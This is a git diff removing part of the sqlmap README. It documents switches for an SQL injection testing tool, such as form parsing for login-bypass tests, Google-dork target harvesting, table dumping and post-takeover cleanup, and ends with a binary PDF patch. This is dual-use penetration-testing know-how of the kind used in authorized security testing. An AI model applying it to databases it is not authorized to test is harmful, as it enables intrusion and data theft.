-when sqlmap requires it, you can force that by using
--
-batch
switch. This will leave sqlmap to go with a
-default behaviour whenever user's input would be required.
Switch: -
-beep
When this switch is provided, sqlmap will beep at every new SQL injection -that it finds. It can be useful when you are processing in batch mode a -Google dork output or a proxy log file so that you do not need to monitor -the terminal constantly.
- - -Switch: -
-check-payload
Curious to see if a -decent intrusion detection system (IDS) picks up sqlmap payloads? -Use this switch!
- - -Switch: -
-cleanup
It is recommended to clean up the back-end database management system from
-sqlmap temporary table(s) and created user-defined function(s) when you
-are done taking over the underlying operating system or file system.
-Switch -
-cleanup
will attempt to clean up the DBMS and
-the file system wherever possible.
Switch: -
-forms
Say that you want to test against SQL injections a huge search form
-or you want to test a login bypass (typically only two input fields named
-like username and password), you can either pass to sqlmap
-the request in a request file (-r
), set the POSTed data
-accordingly (-
-data
) or let sqlmap do it for you!
Both of the above mentioned instances, and many others, appear as
-<form>
and <input>
tags in HTML response
-bodies and this is where this switch comes into play.
Provide sqlmap with -
-forms
as well as the page where
-the form can be found as the target url (-u
) and sqlmap will
-request the target url for you, parse the forms it has and guide you
-through to test for SQL injection on those form input fields (parameters)
-rather than the target url provided.
Switch: -
-gpage
Default sqlmap behavior with option -g
is to do a Google
-search and use the first 100 resulting URLs for further SQL injection
-testing. However, in combination with this option you can specify with
-this switch, -
-gpage
, some page other than the first one
-to retrieve target URLs from.
Switch: -
-mobile
TODO
- - -Switch: -
-page-rank
Performs further requests to Google when -g
is provided and
-display page rank (PR) for Google dork results.
Switch: -
-parse-errors
If the web application is configured in debug mode so that it displays -in the HTTP responses the back-end database management system error -messages, sqlmap can parse and display them for you.
-This is useful for debugging purposes like understanding why a certain
-enumeration or takeover switch does not work - it might be a matter of
-session user's privileges and in this case you would see a DBMS error
-message along the lines of Access denied for user <SESSION
-USER>
.
Switch: -
-replicate
If you want to store in a local SQLite 3 database file each dumped table
-(-
-dump
or -
-dump-all
), you can
-provide sqlmap with the -
-replicate
switch at dump
-phase. This will create a <TABLE_NAME>.sqlite3
rather than
-a <DB_NAME>/<TABLE_NAME>.csv
file into
-output/TARGET_URL/dump/
directory.
You can then use sqlmap itself to read and query the locally created
-SQLite 3 file. For instance, python sqlmap.py -d
-sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table
.
Switch: -
-wizard
Do you really want to know?
- - -sqlmap is released under the terms of the -General Public License v2. -sqlmap is copyrighted by its -developers.
- - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details.
- -Whatever you do with this tool is uniquely your responsibility. If you are -not authorized to punch holes in the network you are attacking be aware -that such action might get you in trouble with a lot of law enforcement -agencies.
- - --Bernardo Damele A. G. (inquis)
--Miroslav Stampar (stamparm)
- - - diff --git a/doc/README.pdf b/doc/README.pdf index 6db67ac1cf3ca5d10fc6e3a07eca88c191396c12..1833dbe86506a5d4ea5d30713a50064c663dc445 100644 GIT binary patch literal 557938 zcmdpf2|QHa`*4;hEhI{dQb~j{`ydsOC?ugph@!<#(IQdFQfXgk-;|0<`-YN|EtSxM zidH0|y}ai>GuNFvGc@1tZ+`Fl|G#}cjhTDTJ?GiabDrlp=MJ~Gu+*nfm?ErLetS0Ge*J7e=gRD$!n}Vi@{-| z|D0J=Ds?LMF$eqb!an@54-f1k82ea&eFW&>J+RsvZn0|1iaAkfQ zn)qcPFHjpAz&B5<6?_X3YVX%}51@fo^V(X$U4Rhok{AMgEybF`H@F8){o1HYW3)$J zo=B4^%N9jh$2MSqdVnzi1C$EF?k;X?5<(2k`ODA@ex}l?qK39?>z5!Xj79L67?9qs z`V#uYAnOxdq!LeP8 IJ3Rmnu-IU7z)pzkT^mYsqsJ-pgsUdNDDv-icG*O zEH?luToyJ3a2ZHUNFMY>;Mb0V{4-LBq4o?4NkSMR)gFWsVDo8X1!!q#+fM-hUoni) zuJ-Ut6q8?$86s7PFwsC&VhUjVO-V?dGes&1bPhO&VK@T^2|Et7A@R8#_5;&FcAz!E zZ?86$X11$gJZr+@Ck0caauK9}u?W)!qY^(s%|O)P8lmRQcD0BH1e*keNCmRO2nC%J zmJ=ulva*ywSPU^`lT8Xsq?ppN0nsc;rP8nudfNyrF+_|_wh1heA|@~bjToU_5hH|{ zO;$CwNI4T2f!a0#yIry1AAuyvY>~1-i~yuEB1UMJ=lmm(q>n9<@d6_l5+jJkX_9Dh z{=#X%fzvhuM=VZr_=T7A7f! L< I1j9Q#l4a zNlqqUSAah70nFe+huy#-2eJ{O0sbC-kDwHE3~~iM0Fg+80X0ZhpbcDxZUiJ6AA(>V z03t9VbjU@oO)+WIj;s-xqNKTtMipt3IuawG3kW=50}O_1;0}_|6 N+6cWXbOe;Q_k$o1L=&*nTHfsASMDVKpm9l`!3oIdN zG?8YsBee$kA&BO|2ZXqGM_`#q6TN)y2nchGFu+{+0Br*10 04c;Fhbzzn@CsxV zzbBdu+=KwA13WC!x#YuLeB(l+l8_f23z^!6JOIqq7wj6$izHVCkcS31MnDO`7L*Md z;P(ikf&9XA1eSO!LduB oBN8wrn&~PKhQuwquJ? z2apE21k3?=02#jFAOnoVWr8F?2)q>l3`D}O5Oe~x;3td&_>!0cEC4Zsdn93mhlzW5 z?;XkEKO-_m3A|T=0qt^ tvefaF`_q3XlkN7=QtS5VQl*fLB5S88`{8 z2#*CGCy^Q01Fe8tBrXeBD~OW-D4;?B1$@JY6=?t0l`#Gs2ogXAy$j<5@WFV*nt(8A za2M|jTEWN!G;j_2Ck7EzrVgWv0?I^QjEfF3nqhncior+(*>FI?5W_t{pM(T}**?@l z(h1$*9TUokUm@599fJ@MEC)bfFcLFCd_Xz`WDf5YF2l&A;X#7nVc;Waz5z_(G5`WU zK{4S&0AUy#nvk3(LKZ|$C>U+{)REnhv)#7DBm3E+W4e>Eo |rt=m=l~ zr2sVICl0oN@&a-|=)cT~9C6JrQ(#>$I!@iuj4}zMKhPRJ0AhXY8mK;S0wCswmx*b+ z!{|1do@BWc9pml@L^})|C+x$f?E|OqKbsKw!0$+-$l#L~fubYe<``gHO~JkaR3HwZ z=Y+C@)c}dX5fF`d2hKOqnK+iiup@14vm9g;MaSH&F~k6VajR8mVh7t<0;WQAwA~Sd zfH1E>Mle<|R|p#okY#89G=pzo>!1&K9KOL_w8o)g{ewxz7CeNkh#lZ&kxd6(bbuQq z*#R31NQw&rXqh L(=*V>On`jn=WWVU5gWF)D!6p-;0eF!_gTUo4 zR!&F@fgT`wV2Pk>xHgv%FR|n1ED9-#M;9G8cf^1o LJf7acwae*#3B$e#NWsM5uC5(J7)=%QoX zVDkYjkU$^4fy5Pcf!Y(g=#aF1n_Li96PE@cFd_FKGay1>(h2AUDc@lLx{d9mpe$W< z>=~pMhz_v8bO9C_1{ZW{2qK9c8x|<4po@+TPsNBd1^WOg!07`({L^VzKz{#%5;i72 z96SlMCS3vY5OxZ`2a8E)O{A3QVn>4oYB}hlqrpHIf<0V0z(59*05IX;2m=po;9)R= zgiRzpBJ3f6DS)M*EjARufIk9)Ne~1imVgQXg1dNoJ|YQG8n{b15c*gH@E!qDqA$P$ z?~rgW3E?0$0C4{UQ6gkq?9e$!z+q#G44vCy_`#e9I0GU;E1)Tk9}p9$hF>9!1hA3l z0Tctsgf}Hff?omu7Dl$lhM$amz)!q^fQkbwqyUQq=_#&Z ;;GlJOtlF86Lbn=qt2> zuHhSjHDSTvE=evxQvSLG0_h>BMRY9=K|72xxAB#f+oOw)F9R(B2g1e>28y5;K*}}x zgt6=}D$2h=FcRdeNMkt;<10aOfQkzX-;m
F-`56uThraNRK_>AZ;?SJGJ9ro#0;55w zJTVU71Bep}$0Y{AJh8*QMgog*(cxZjxdkBjw;2AnO{JjbVbmpZGxQFtsL57{yeJkO zN$!X;gmD6f;sgV!C-?_HNd=$(RA&C4P?TS2VL}IN3A+fIOz0?y0)$Hj?Fj|v=acxR zo4kq@9S-k^PyajV4H5)83GNGg1NR?n8sQ=E(NydJzY&G(<%tgP|9?eOAScKxK}3Gi zbreP;n+=j9#SooT_}@Uf5nws_^;}#+%XBc5j(qp 50U;nt)6 zg=B &)AY5boIk5@PCoccM_L970hUiQbm=F*b z&~F?vpa5J3b^?L`KbSPU6%biCtWG=vw1 4FNn@wL6ivi4e%4A z<4_AQ9Z)4U4l=~fV$rDNs1-wW8tdP|^UuW#_y+_h$jmosi=Bi*Xpstr8KSdL|2bM> zXc^A3zv0%A@n{Qo3b odUKvECASFgZ!YbKvnpF9^gqn#T7d_LKE1T&k&s*0gDeK z!RRE(g)2A;gq#bb2lqfZgl7d1b;1e8yMuvX0B8W;zypPEgv#OVi7PM;;myKN;e}gA z;I_{VLZv#)neeao5uM2fQgr47q!64;ARo{PQ2lol2ckhIID!7R(pfxXO jvS<@fVy6EeK@-BlcDPM~G&>9IxM7IS z4w+#n16_$tsDL~O1dv`>RR5`HgBXK`5Ml;GPIyOrLf&DnhEP{>5J+^MW py}z%Y>JTq_J7$F>i9>>KW_^Na_113O3`0Wp|7_y9rz4RP&+ zrZ6Oa1(3vl5OPdZ1OeZ } z!xcVLh_wgQi75teDhM^!l#nW>*trS>I?3l^iq2J7WBmhjL9_rKLN9pC6V4MMu_WB!GSL)- z1IH4$0D^#DAuJe>3ZCPeRS4X~&PgEoAekPf=$wQTCLiF~0Q3L{fe{WKAP@2ZT0kHl z$OoCY@qYvvDJ0Ak9si$-K?d*;K0FQ&5D=gy$V{jjK#MmOmNDoPzYVsDc$Cmi&>0YM z;0Qq&=#Y2<@5mYh*ADxDZ}?@RLqQ`Yb|wMQixe7Wiq0gMVPgY2KocAQVf+b00N=p< zCR!29C-5eEg?7UH0D%CSfD{qF53|E9AH*yvAP^$!32iY10RUhy00n9Vl!XuA5?}>4 z03zTapM|B1Z5;&myf8(F u zAsYTAE{Oq!g9%CmWCM>Ds0dxdH9&%ob{)q3Np79M4j!iH;J-Nr3Rf|(Zv^{*X#g7z zDA0m%#PG{NcnEHTc#v2C)B!05j6g{7=YYN VS2^Sfe7q(Vv5dz*tanQs0UOaO<*0t4h`WE zKn2GOC R1Fc{jAdjGwik~}SlPhDHqH`y}Rbe7bzyJq~ z-~+UipIuz93V @DTuq2KZoLK>-?I z69^(SAgZL9V(+Y>u>~9v(U}};jG8bUaF JO)mdr{w;L`1A}OSxWb$Ta0n|G7zsl6;YmP| zWIf;q(F1(LDF#D;?m_QB5d0pgArOd|g9*Kd@fiG4E^0h5OVA;g(gY#J&keCDq+(E} z=-kj$3={wlq=%p;0E**AM2?7Ke?US=loOy1^Z>0u&;T7^52 _5q7Xa>QUinrI|^t3 zet;?1cw$Eyv;8xac#xC1EINy0(FQqy3SbcCoM1nfWrVb~pDp1HPOgJtiq4UkVWR_s zKx>Fu3{dCeQhR9v7bXW=HaTc$7+5Y?q~Xf{wkSO8s9|EFU|{3rKX1`|4I0hJPy_xc zpa*;xc?F{feLWU=S$NF}nCqp0UN#l7DA>!xPhrW^!fE-T&)7;8KXotbE=uTJZR?p> za$$1F)A2s_4=M8%(w}^K`N`w%$|@ @ zM#Uc2SwXu$ZBs~dN`EqZT<{6{KDD%z^FyEbZvA?sb^7D)*$ed(HRd#2ZCF-Uw)C9x z+V#42O^=hdE^PVvMt%Ccu9J-$ZiPkMkQ*VrY|qTp=&*F>q~ts;pOpFDdd5p@uWB`1 z)ZZnyd*{;nk#B$MEHw|ROS1eKJ7(!%%g^4+Z~0B%v}J#OTK&oJ&J`1wix@R6=9TI* z^O=Qf>`HGrr1bDy#&N!XIr?OX>@c;y@&k^2c{MRn^Kj`dQ_Y w=fwyz3cR!1G z*W_tyvGt8h`s`CU;k!fI=lI#k)Jny8 }qeB{d%y+ZnqeR}3<>Z`Y-eWM1gSw8ToamCTpMH6aZ|7&D=Cg*ma4vf``I OTBMjb4OP!i!*Uz+A=IM3S)k;8)Vk4H&u>Q zoqf61Y|lj9rs_z>c$Z LBrz@ zf&GW3WqEup-X1kLv(e;3E4AQExl7iSz3XBVetn8l9W&u)xN^+&RnGQB8fG#J_iGK& zRXAPy 3VHvwj@4PhWCV%|ZmOuTp6SRls1Qt(DQ*-~;X+f0A#VM|81IN4_ z ?R&w)2lofD@YUwmtcOm~|j%ya!OH9dZ+VC%0S-*?;- z%DRl)HMSlP4w@amU?3;8$7$q@>>O_|+1onhuWh;n_Y3Y(q~%pJ^F&I~?J2%zO0(v^ zudR0U?-O|brR>5;@48x6-qXzK>78!cCimG^aL)JM>Rn5;uO-IpRI3i##N0EG)m>(J zi(-ap%=f(~hg`P5BR5OIv+0%eX#Fgmqi$gz51Z2_)x_mDnVQz>y!c61);?UA*Z)=g zc9oh8ov{gNW0kj^U8O&;FloJkRNS4kRcEJ9*|_+g(UjArUg0XaGj^8QhmAV^G3sSS zSA#u4zaO`JG3e5~Sn5rvS-H;Rycrj!y`J=7{{?xDrb_*;dmf&rD#D{zMA;q8xup3q zM1gZ!)6`O$eX{$=l9*4C^M5xSUioxwH@U8ci=Dj+T5S|tBMlAb{h0WwWY*W(!}+(< z>oV^r2ds37tV_>yovvDXE5Ed? (o2xHQm9!@%BSo|l4wd4T^SFaJd$8ceW|4hjYiULgUCgXef*m$1qQbjj9h z?gEc-0ZTMou=gvlQH+>lM0Zs{T?C_NHCR;4ZA0zM{QUz^S1uY%4i;i^&|pGx7W<36 z+yMKFy?g`vi@h`h`-{E10Q(Cgp}$!69QzGDqQ6{&&V+0lx^9F4fc@q6=Zb8!MjMX2 zuofSV0FZ*gxPaifUcmr7)z!etz}mnZ{h(>k5DpG#iqdeQ88Rsx6ro{pP*Q n+5(p24*HE1{f6$%;3$022%~39IUbb+I}8rA_*|| z^a}R(2%Z~Y8WQB|=MhK=2%e{drV~DB@wD~7ftJBwP^gGxIJ8VUT45rt{99=K76b=` z_ zl2A#q|{s)7NN=xV*4H_b`5t0v7S%Q#aqIPCz zl#bp2$xlVz%UmP@7n4KbpcDaviAp+Hh8hey5(Olm3>K3@Wr+rhSli)Mi~O+hUJN5i z*f5w-K$(fEBsoZz7z`Alr5XMmIBt%QA2{AiLnHwlkD+uUbmRq!Eu*8}D26DGgy|52 zj_FSO3>AipS8OFoxH#w)qa38|Mo7R=a-D8SMR2x5G@irCO)T=$i&xeo3AlKIMrSc7 zEQX;59SIx*!AED)DGZ}_6o8O4ydaAoINq{ZlE5Jo!$yk=Ov13U`_R!o6eb%pm?D_T z51cSZd8rIZ0!QOe*l5u~XBturQRtVB*}wKU$`70{Ticy8{<&S_v6W_IMBy-zv~eg# zNDI(8eiW7w`|pI~RyFZ)73MnfoXwlh{yA(s6{WF_C`Kqvj?N*WP| TtH(Y)kG5*on}a(qPc;_q9ZulAsP=ZZf=*KUi?~Mq0zP)G?+ePrUnh8 z09vnes4NPVt>M4e*O%lxpp_uJd>Euu_+bV-%x0s5z)(xUr&)N>M2Al^3{kx^iz)Op z*UiEiZHXK*)D2pR(u|Ow!}X&KEK!D-1r;m~=nfM(Dp278KaiI~<+@b{mMBciqH=vJ z^aH!Yb*xZt*fU)33OOPM_Q3&jrg|aI2RVWkmKp|*UQ5u5na@GNEE7Qye8o&h@Qb-( zu1}m4a@bJmZo?my=Y4uA-PoKk>fAk(g`xA jd%JNm z?cP4P^_lkCKXKCU3I3V)51(4^aDRf5!pDqhGlrZS`ZZ$x*o_Hy57+i$j+Gu*K0`%L z+I}8=u z$2u8nu*3(q^&M*;FMp)=9bI&qGXe$9FpP=Y*bx z|BLS`k(Zjy)+{Lq8C^9*_K@PDr308ML6dr=YTuH{x$AISH~xib<5`t^TZSsh$GgVw zxqPGE=)mPu>lTgQJXrfnNH4#{b-v?iCiZnxZ@V~jpQiF8%5rpmpU@uO{DU-}>) zE!B5JvO;RI@%_Vz14oXe%wE|TqvF&%H8ACP#*Umrdh63}m;Zi!uz35AhuZnYPD>q@ z#9ot8onREMy56AiEc<4TbJszX*N@7p%QrOJ^f71FeLY&?HqJs@DR5Kxal5frRy)1+ zu6ldS{YP!}yr>^}Uax3zYn_+auYT)tVc4*}lO`QIZvFa;=ZVM9BbHD5aAMN!+fGjt ze!cCdI>g|<*5(9CeQNZV11C?k_&3xYaV%`gI4J$e^;SaG#pTC#6mFm7?x^CjZcM`6 zs#C*fy6vPJ{D>GIS{W8;ZLGbbWRQ+Q#*BUM*b9cGY}YyYd~fdcxGMQk2fP>bu9*IQ zf9V|kklv^07Y=IqZwsrg%8HxA(BHXQ$)US@4#T+1@tG=dc}+b$_Beju>2!0?cH B>mj( z+LkGLEgH7jfdMVqG6mr`WhUMlVsyRRmCv&lw%$)Hh-Wox_fQ+E_-J*fTUBRhWzMI2 zxTapwmA>`uK)C+K1F80V^HNIsn2yc2P>+%~8WR6y#!-K7`M}wsxzxg^<{!UZES}>F3_o3L(%Q+tD3r;*f|HDG-VYJ;`^SU>A zT5`dKrI*Z4?m7Nom-N{q)ma%jDspG&*XT!Y8XMYEj|TjH{El+7nbzGf#%Emo(@lrQ zSo)qnAH8JDk?0a@He(3YlH#7IH0N%~?L+>PPOiIJ6aDeDCi^h`WB1a @qp->JTFLaR*ujLU0;SK2H*6V2!D2&}ZZmX);9W ^iSMI(P12p%owZd0u}|jDp%Rcjjeu;1MN`KKx-UNOr@^Z(RSVxv_b15K+mLv$`8!hy|3^`z~&aXgQNTf)Qdkzlam z6FWER@~`3Id6#SkT2!HV99zt=P#&4hM6NHVokbSm`r?H={J=?Y1&9Mjr=pb%=KJ!1 zqZ?A#e_hbvg)#(eT;Y{4;iz;96V*ku!G^Yta;O~9t}j2~1lJ5)jgl;IEEImikj8;y zAp&wZVo*-dIp?amgn?sYBE}+s<6!Iib`}l%loRyOxwc2bz@a4|8`*?5%CS&FlWO#L zwhAgM*C0w5I0lk2LgbL)rx ig8xab@NJU|HItxu$C~VF|e+@b9Ybhab#2d2t z0pwpy|A$i-4?sFP2?MQMnRGgZjrIsL87LOPXkSyw01Aecxc-QQ)RhMyQUN-0gV3=E zXtj?P-w04@dqD^U9T`BOX#yN2i2}$#x _FAbEl!=g4P5WHdxh2eTcEB1Ar+xdJZ^mjrk`^<^NHU?TsPPDOu_U(8?|qS$6T zfna{>3Go)3UCHv6iGtK90LDTV1w~#MEOe*^r~Rx02|C_^34GcMPPk;@qocR(qO2Sp zMK_I5HW8i9f+fn@ooC4a3TZE1z%L2z@`R6yqUcEKkPB*vqGk-VlTb|I!{3X{Pd^FH z9bE9}NGI4xrqNMsn9LzMqRLxN`|}!^e!|Kt@%e*}Lc?s7X2r5N3?$!l4vJed+n?LW z01B(G#ODt>6CL@8j4A_L0U=IfF>E$XJo|!j8SrLQeirkGHzhK`(HS&~AxdDQq#;_O zp?nSsYO^`wO>oG`5du(xsR^D8qRr}vZpeMdw#w15Tp~+c6T>Zh TJnvKpz?kP@0G%<_m1Y-3Jf?5pWDhbmNCCRXZDKUeH zvWyxu6lG!2#8qTr5E=Z22Bp5ZAxxB75+iTM4P4^*5xFaroMpkz8Z1NAULMN85-pBd zuvf(atJM@EDTRVdgwo(iDO6-2Zc?gZM*g^GmMW->^Zd!{#f#jM9_X1X=<7slvURsa zpOLrsu}&Ctq`7wa(SBW@ZQ0O6%7%ThGHLmn=OOpiJ>EXOS=6w4b>oY&VfO|`Z#!_S zpS#f-n&$WyU0x467|Yma+}Hn)U!R!I2k-vM(hu4Dd&};6Lz}!ncC+@7k%3jmtPgG- zIygdorP{y*`6@YCw^i!tpX^tueA#Pla`{{QUY$L^Ud+Dj_#*tY!3Om^FC82z3_~ne zPnPkW5Z`x#&FxpQ!_6Kie;R(MfHQ1I?2ub)_q}+&f}^?S@+I?;70jetx&1;K)-nSh z(HYCH6n)mVEwJ01)H*44($%MRHjCZnE?E4?wPm2+;NEVk%dDQ){VDoz)>|=)R+c>| zEMGP)KR<5T!D{NNRgs2+q)fs`)pYIt>cpPJ-HhL <{8)r|fIJdM{&V!X6Q*4X#LcFrv z=qKjMF6*16Jw85gU0=V(ak5Iovc9gSCl;MQ=sNSTd`Ydm{kOUvGEt-Un3Z@2I`{dU zPE{*lSWSCnxpj=}stH;pwMRCU_wV8z^=*#HpZT-DO|8B1)xS@L^NAy)QjX+CyeaM- z^g?~0-TldS>vQcMYCgDe%6{w`)v@%>gJPGM$%PM~ZL79U^tzfhj;%UUC1dvBjW1$+ z)0pwsmG67(a!k`vo%FD*C_P|OPEb==>mqv2SH`{lanu1CvsTY`F}Y)YJS8jUQ?PgH zeUpM))B75qjNMvxd&c9QW^O}1j4+S7rp s`l>Zo7F)?RxH;lDucfX9pbF z;TxrJW5Ust;S*Fj4}Cr3raYg%mDVGQV(*dtd{C#_0dBQR%$8-%sd^oqP#7w`=0nZ9 z1h=$l!&j%yODY>PaG0w0vm^Een>HTJUK&ZY7@WObi54*I%kJ3dxbn5SzLz^?dEWLM z;wd%ely^c=*4p7^Zx(zBXZ1`smeW$|lhMy&@XP~YH+8@L*hw>vn)EnHx|nUJ`{+rZ z8+3z*ONNAbI43oC9-&sM{zR|GG4&q9JnvuM_cSTrbIP^s%LkM0T~O_Oa@Vu>(t&60 z&z-$w1V`i4fNwn(I-ee}X=28~SAS&dOs}auIU1vq+QaZc%d)tAix)oc_O ;f~&!k>0dV0jKt zo!;-+=#;!iw#rWGGmZ`3+N^)%QSS$HuH|m`eZ8>x{gJZMee*X_QXBddzuvVw?cu4_ z?0KjA1&mm#c_`JxwK3i?So6r)_+g{1w=PiEJ{#o_c4D5#HD%lWy}Na8dU1O5le|s? z95|dj+un10tb0saaW&Sn-YGO}q1~*aLvx?jx}+SiQm%EWKcY8tlWKRv<&%b%Cz?w4 z&JClVNPnF5h@R$H95FYyZehLCu()${yC%8OpI1gK3lCkGCPSYW_U2u-hVH$=Z(gmn zUv{}%@5GJFuIB Fwx#YjWJCJseT0v2y3VX xGo~Ig;)9W&9#D=EiljI%ogl4_&1p?7V_~S^8>pDunZ9|lLT87 zu}l#Do0nN)@-j=XyAHe0%T%#=nI#r4vjkh&(0$moh5o{J0_-<$JQUc2aba&3cAeKR zstM#?=k*I)j?jJBYlHpeWvY0a5LhTE2kl`;4R)W`FPjH1ax%F0dHuo`4%Cjrg_l3W z#ia#4%}Qjof+x6eKL<;2QH{j*B7{OB_?`|v>G;>VE}pZ >jq2rS zVg?McmV&Mr$d80*$crek=~$Ejt*MaHNJ9m=YzDTvZ+}&f2hw?)ZuuNpeBZ4k$j4o- zu+jPntGlM7s38+6CL0yap|zh_5gYtaDt-Vl>6H-mxB#-y`Uz7~R9}s)lTr0DdYzD% zF&q4tD1HDX9uh&Ch$0MZ1Rz?_BS)TPh+=dd#0&XXeE6YG`~XTkB!Wy93M!#k7e+u1 zvM?B@+s`kN;S-7};k%M0CxXaq!3qT(QH)i#B9n|l!YuKEhA1H_sKEH{Wk~?YQ(#o) zfPxGt7=l9TDA<6?6;PP2{g_gl{tCeclZ-^wgK31txv+>KvMp$?L#bU9{TGkB_}N!{ z(g(AjWC29+5F<31(osAFrFBplKZhya{DGf2#SfmuqajSB4OFa#5~WGlXpza}Fc6Ey z6Fw9f6BIstkGCX*k8A(X0Rm{l1EL%+(!j)G|6;}q@nf6#D2VThlmvjh37CndGb$>Y zr6aB2AnjvfmFf&}c`RgLz`>HN2%?jLP`x#>fGBi`_G+NRb|^+h?dvbU1;kH>;v*q= zei8+cfuiYj INegGvn$KgpaG^wGQER^_!$(Uh;tPQ<= zE7N8Hg#zmMvCoo_KdypcJA|;)?J@DgBL3J8A)1kR!9wAJCl>hclI1SaVC=j)I!cbA z9dWQ#r~}&ZOP`3MCsc(YVGj%2!h|iGuv`wR8N>E+ptnzm o-a z%EYo!%%6_3cG&uhfrU0ZScJ4mpHQ|0Kkz^jz;UGyrZsE_49YVxuxv4!hnZ~g<_{6& zD6l$|sPtjWB2*gFHh<7j=?sf5o^26Pk|JV@=zqF^qq9(^1Y3fz(G-mQKRTi;OUxyR z2nb<8Em;zx;JzU?v7y=&4y4~v%1+EB2(n3nJ_3Grh6IHWSr#L-1Yx2LF_@J`4mGEP z>Nb80gK8Xv;FI7Qj;FzNl+QLoyLstYu?&g<(9ulH>0k}grolo9MF@*Xl)G4h4q0ck z*AM9hR+WnKbxiT55B$B&{N_)B%QqhJXxNrl 7{%)ANI$u~jN+buTYWN!&8LOQh^opM@hH*%&9@ZkqejTWad2 zoFv6)+4?sP-INa4Y~E%wW20t8tih(MZ=bJTz5L~jupRSmBwkOljaZ>RZrxSpCmElM zXF9F%S5wkGP~JoPjCV-w9ZIIAj*G2&Y@F-%>))=Fyw%Acxx+?%aHolNW1DO~*=&1s z|J J|Uc4orzj)!zF&{L85;;onM|W?99xOjoqkkFBvk;AV5` FJ*dm9#r CPS>d*H+S}dKaK)?T-S%512iJ7&Yoe^I*uDPl z@V=AWj(78X8=aB(`b|psk^S4Q>mAEV_-x~@JF$7w<&p`>g9{R8UpiIu=FRg5y%uMi zmAAwtXl*!mS*3IDrYhA9J$!5Lbk#|(NLf9)!9?ET{Y&@vvpZ!SX5SugscfTqms#T? zUq=@AaPr@6@hT;}*N~rkk62ELW5-5MTw9lL%w+eE+kJkxeZQb$^7!q@v0fY%n|Cj} zcfZwb?aQTd)4$2;m7lQRc-3NqW73jUh3Qwu#3}UAIrDXead9X0 4TXCEIBXnU$wzer@8FhjP8cd)xI+yFO9Qv&X8CqRgEd{`Zt3X|XO#S{7^@ z;gr 0rgrR}!aLei$&RC2m`b+9nyd$TbNQq*+@w&QhVRv_H7(a_y3n zj=wAOerzhgI&M{HM)3r<)zePjE8Y;M*K}z6^UTq8+neN@Psv74aFKT#XX
Lt>1Jfo#1N5w854AvU@#DDUB#$ z4IGzg_V|)w=-scb3idmtE|lgyEsAh*yj3tQu_E?s@P#?`t!Mk6bDf$!_>KSSt1se= z%k-Z4G;JDknxjtN(bJ~2hu!3l5%P~-wB%I(xTZG$!`6D0y5n{C6_U!keB=Z~?&FlD zO9j3OzPDDpI@xxX;|$G$L0!*R*9}fHxHf#GX_fnrD4VfQefmUt_xUwLhUK^HX#9XV zhpsmIPj{FUwcrhFN|WWj#Bo;J$CULwEx&HCg58Edm$VgoYs-SBK0MD+ovzZDPI >a*u-%=v(){J2`OeeNT`N!3I68Mw^5Wmm7cHwVvz5E! z>o@w@alh=cld+o2>aentnpIMEH9s~-$!+Yk;oHkzQ!m-Rx7YpsJMTQj=JpfU% nMPxT*Bbz!vU+tsUXm?)+VucQo^5j0@kDphyeuD`m+P1%>c(EXgtM2En- z@1sK9onO&^M7Vby;cj@Tc179MAFfurPbyb`TDqgrs&Z3;qOaep%zJw@d|Pum8#qV* zcx<(DVRCrExuuzM$D`?LhEFEnusZp5>YhR$uQ6 C9%lngMpN@ZC^2_G)Lyw*d-&h=e_j6hDfS!Ys4L9`&eC(rod}GnskuM)O zja=xs;%4v4Z7FvygblUyx$Sz-v#F4+_vNNvXiCIs*AG>Oab<7LCzdzS`dqy^_?<&; zm{Y>0R9Qn8=Ee)U*Iy={e|01??P06+gym;e4UBZHTD`^UgYr0Ll;X@GSuHhPH(jbP zeDyt;{atZNZFZ7y{tng3@fmDx4oM(?$F=FC{2iOSZ|q;30mDMY9aw&gjqfbuoe9I@ zoe9IncbcIE0_4GXXTz{~XTzX9F}&-%yczFo7#8nr7?eKX-RI@wcxS_)Lr}Qac{}4+ zyq$3@d}kc@R2!6T;N{`ql>#X523x?fzuf-VyzSO(-cD<5oeKEy_E)oE(>KD8x5XOe zTX^@mc|B784rn1!|ALJiA37@C!J~)&B!6clv^3x{NkRa&rSDLd1~Cyk=K}5KW1}UE znB|7T@UcL6Bm^IKeUIhtu;dBa|AHkMvD6(p@kdM#S1A79{&7D4{ICWdd|3S>lG!!} zV~1Xd8UIHCc>x!kt8Ee@AdkUFgHXU4t@%)0JyLR{2q+#QUhq{IK$KiV>LVclxfDd1 zeYBwi)k9*n>qr8zgd??s?K=FcXA}<*pdbtElVkxz@e%CkD<;~T2njp{H;UDXDT6{Q zXfT|T1rWtYI4Ew)#B#~VUa~-k#bvS3G8HVkWC6qi{#cL>1#qay@M9TAL%Mhw3ban; zzRsO*nFZ&NNftsB@kiCJC^n2`0#Jq#sWH_^TpkNoyuvIfQ3%l?YbYv*W)d3GN@Q=a zG< U5;4_8xDW(?r ym6aE(q!Y)0WbY|9|EgH1ARAw^+Rh`-%Sax%z38_BT);!yEAq8rLbq5Xn% zL-9C_NG%jq1czR-97emzv0cY#0~AVFVB7FG$Y&Lg!&rHSpvwSD4GBSra~PZHkl&9E zfq+xv7-$=_9C(K=mN8QnuPl_R;9}_zV4Y@O@-UscKZlAgQ zR=VwN%KY?`c-$SGjEPDsG24fneQXm7+Cyt3ro+|t9%2GQ?jl>V8bU|=w~@mNbxCM9 zBXAn!e%hT#2o4J-^telZ2|>rz5G+rI6+5CW`Y0ujRgPjcdt!1JIT->Lh8vWSEQClQ zj8L@`<{?l~)gv9_w3wNdwzuK(b6E0+;9!UHpfew#t^sWah0Go*^%8@_f}R#Ph$B(@ zVP`C2=k{TB1K3%7SW=G;$0dt6V-YDZNr#0CZ@J+m$wG)s9|z@+u(C`ev?m!$?xE`R zcF89Ip`ab)2EHT kg8wZ{$5; GP zOh`}K7QH7;b&=9jdlq!+vCb%K+~Sgw)$ZH(j(b~ne|y@Va_je5_S(B^CYDxbG=z;` zwb*pkymJ%spR7K%VBp*-JI-iM-`AO$aG1H-Y)hQ>z4>Qmb#A!z@z5#9QSP_Lt=(<6 zd%60{~vXRE#! z_CKmPkYiwEkyjIzyCOBVvFzEt!|Nws%{cD3vF@{yT>qv1MW5XJO`TOVUU^kmLxm0_ zG%U1raMQ+|zS@6WtXyWVRh^&ptVhTbvpTJ@IROFB>UG|&S$Si!=J9R4S@RYwF_O>e 